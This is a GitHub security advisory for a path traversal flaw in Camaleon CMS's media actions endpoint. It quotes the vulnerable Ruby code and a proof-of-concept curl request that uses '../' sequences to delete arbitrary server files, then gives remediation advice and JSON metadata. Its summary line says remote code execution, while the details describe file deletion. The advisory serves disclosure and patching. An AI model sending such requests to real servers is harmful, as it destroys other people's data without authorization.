GHSA-7X4W-CJ9R-H4V9

Vulnerability from github – Published: 2024-09-18 15:47 – Updated: 2025-05-23 19:12
VLAI
Summary
Camaleon CMS vulnerable to remote code execution through code injection (GHSL-2024-185)
Details

The actions defined inside of the MediaController class do not check whether a given path is inside a certain path (e.g. inside the media folder). If an attacker performed an account takeover of an administrator account (See: GHSL-2024-184) they could delete arbitrary files or folders on the server hosting Camaleon CMS. The crop_url action might make arbitrary file writes (similar impact to GHSL-2024-182) for any authenticated user possible, but it doesn't seem to work currently.

Arbitrary file deletion can be exploited with following code path: The parameter folder flows from the actions method:

  def actions
    authorize! :manage, :media if params[:media_action] != 'crop_url'
    params[:folder] = params[:folder].gsub('//', '/') if params[:folder].present?
    case params[:media_action]
    [..]
    when 'del_file'
      cama_uploader.delete_file(params[:folder].gsub('//', '/'))
      render plain: ''

into the method delete_file of the CamaleonCmsLocalUploader class (when files are uploaded locally):

def delete_file(key)
  file = File.join(@root_folder, key)
  FileUtils.rm(file) if File.exist? file
  @instance.hooks_run('after_delete', key)
  get_media_collection.find_by_key(key).take.destroy
end

Where it is joined in an unchecked manner with the root folder and then deleted.

Proof of concept The following request would delete the file README.md in the top folder of the Ruby on Rails application. (The values for auth_token, X-CSRF-Token and _cms_session would also need to be replaced with authenticated values in the curl command below)

curl --path-as-is -i -s -k -X $'POST' \
    -H $'X-CSRF-Token: [..]' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' -H $'Connection: keep-alive' \
    -b $'auth_token=[..]; _cms_session=[..]' \
    --data-binary $'versions=&thumb_size=&formats=&media_formats=&dimension=&private=&folder=..%2F..%2F..%2FREADME.md&media_action=del_file' \
    $'https://<camaleon-host>/admin/media/actions?actions=true'

Impact This issue may lead to a defective CMS or system.

Remediation Normalize all file paths constructed from untrusted user input before using them and check that the resulting path is inside the targeted directory. Additionally, do not allow character sequences such as .. in untrusted input that is used to build paths.

See also:

CodeQL: Uncontrolled data used in path expression OWASP: Path Traversal

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "camaleon_cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-18T15:47:07Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "The [actions](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L51-L52) defined inside of the MediaController class do not check whether a given path is inside a certain path (e.g. inside the media folder). If an attacker performed an account takeover of an administrator account (See: GHSL-2024-184) they could delete arbitrary files or folders on the server hosting Camaleon CMS. The [crop_url](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L64-L65) action might make arbitrary file writes (similar impact to GHSL-2024-182) for any authenticated user possible, but it doesn\u0027t seem to work currently.\n\nArbitrary file deletion can be exploited with following code path: The parameter folder flows from the actions method:\n```ruby\n  def actions\n    authorize! :manage, :media if params[:media_action] != \u0027crop_url\u0027\n    params[:folder] = params[:folder].gsub(\u0027//\u0027, \u0027/\u0027) if params[:folder].present?\n    case params[:media_action]\n    [..]\n    when \u0027del_file\u0027\n      cama_uploader.delete_file(params[:folder].gsub(\u0027//\u0027, \u0027/\u0027))\n      render plain: \u0027\u0027\n```\ninto the method delete_file of the CamaleonCmsLocalUploader class (when files are uploaded locally):\n```ruby\ndef delete_file(key)\n  file = File.join(@root_folder, key)\n  FileUtils.rm(file) if File.exist? file\n  @instance.hooks_run(\u0027after_delete\u0027, key)\n  get_media_collection.find_by_key(key).take.destroy\nend\n```\nWhere it is joined in an unchecked manner with the root folder and then deleted.\n\n**Proof of concept**\nThe following request would delete the file README.md in the top folder of the Ruby on Rails application. (The values for auth_token, X-CSRF-Token and _cms_session would also need to be replaced with authenticated values in the curl command below)\n```\ncurl --path-as-is -i -s -k -X $\u0027POST\u0027 \\\n    -H $\u0027X-CSRF-Token: [..]\u0027 -H $\u0027User-Agent: Mozilla/5.0\u0027 -H $\u0027Content-Type: application/x-www-form-urlencoded; charset=UTF-8\u0027 -H $\u0027Accept: */*\u0027 -H $\u0027Connection: keep-alive\u0027 \\\n    -b $\u0027auth_token=[..]; _cms_session=[..]\u0027 \\\n    --data-binary $\u0027versions=\u0026thumb_size=\u0026formats=\u0026media_formats=\u0026dimension=\u0026private=\u0026folder=..%2F..%2F..%2FREADME.md\u0026media_action=del_file\u0027 \\\n    $\u0027https://\u003ccamaleon-host\u003e/admin/media/actions?actions=true\u0027\n```\n**Impact**\nThis issue may lead to a defective CMS or system.\n\n**Remediation**\nNormalize all file paths constructed from untrusted user input before using them and check that the resulting path is inside the targeted directory. Additionally, do not allow character sequences such as .. in untrusted input that is used to build paths.\n\n**See also:**\n\n[CodeQL: Uncontrolled data used in path expression](https://codeql.github.com/codeql-query-help/ruby/rb-path-injection/)\n[OWASP: Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)",
  "id": "GHSA-7x4w-cj9r-h4v9",
  "modified": "2025-05-23T19:12:59Z",
  "published": "2024-09-18T15:47:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-7x4w-cj9r-h4v9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/owen2345/camaleon-cms/commit/f5d032549fa0a204d06e738caf2663607967dee2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/owen2345/camaleon-cms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/camaleon_cms/GHSA-7x4w-cj9r-h4v9.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Camaleon CMS vulnerable to remote code execution through code injection (GHSL-2024-185)"
}



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